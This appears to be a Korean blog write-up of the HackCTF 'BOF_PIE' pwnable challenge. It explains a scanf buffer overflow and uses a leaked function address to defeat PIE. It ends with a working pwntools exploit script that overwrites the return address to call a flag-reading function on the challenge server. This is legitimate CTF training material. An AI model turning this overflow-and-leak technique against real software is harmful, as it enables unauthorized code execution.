WAR GAME/HackCTF

[HackCTF : Pwnable] BOF_PIE 풀이 (32bit, BOF, PIE)

jir4vvit 2021. 3. 15. 16:12

문제 풀이 환경 : ubuntu 20.04
사용 툴 : IDA 7.5 pro

PIE 먹고 싶다.

 


 

150점

주어진 파일은 문제 바이너리 파일 하나 뿐

Analysis

IDA로 까보자.

main
welcome

scanf는 전형적으로 bof가 발생하는 함수이다.

 

j0n9hyun 함수에서 flag를 읽어오는데 마침 bof도 일어나니 RET를 저 함수의 주소로 바꾸어주면 될 것 같다.

 

 

실행을 해보면 welcome 함수의 주소가 출력이 되는데 끝에가 909로 일정하지만 계속 랜덤하게 주소를 출력하고 있다. 

 

그 이유는 gdb로 welcom함수의 주소를 읽어보면 저런식으로 매우 작은 주소로 설정이 되어 있는데, 주소공간의 어느 위치에 매핑되어도 작동하도록 상대주소로 되어있다는 뜻이다. 아무튼 PIE 보호기법이 설정되어있다는 것을 의심을 할 수 있다. 

 

보호기법

쨋든 보호기법을 살펴보면 PIE가 설정되어있는 것을 확인할 수 있다.

 

How to exploit

위에서 다 말한 것 같지만 다시 정리해본다.

 

BOF가 일어나니 RET에 j0n9hyun 함수의 주소를 넣어주면 된다.

이 때 PIE 보호기법이 걸려있으니 j0n9hyun 함수의 주소는 welcome 함수와의 거리를 이용하여 구한다. 

 

아 참고로, welcome 함수는 친절하게 출력이 된다. p.recv로 받아오면 될 듯 하다.

 

PIE 보호기법이 걸려있다보니, 주소값으로 디버깅하기 힘들어서 저런식으로 디버깅하였다.

 

welcome 함수와 j0n9hyun 함수의 거리는 0x79만큼 차이가 난다.

 

 

Let's exploit

from pwn import *

#p = process('./bof_pie')
p = remote('ctf.j0n9hyun.xyz', 3008)
e = ELF('./bof_pie')

p.recvuntil('j0n9hyun is ')
welcome_addr = int(p.recv(10), 16)

print hex(welcome_addr)
j0n9hyun_addr = welcome_addr- 0x79

payload = ''
payload += 'A' * 0x12
payload += 'BBBB' #SFP
payload += p32(j0n9hyun_addr)

p.sendline(payload)

p.interactive()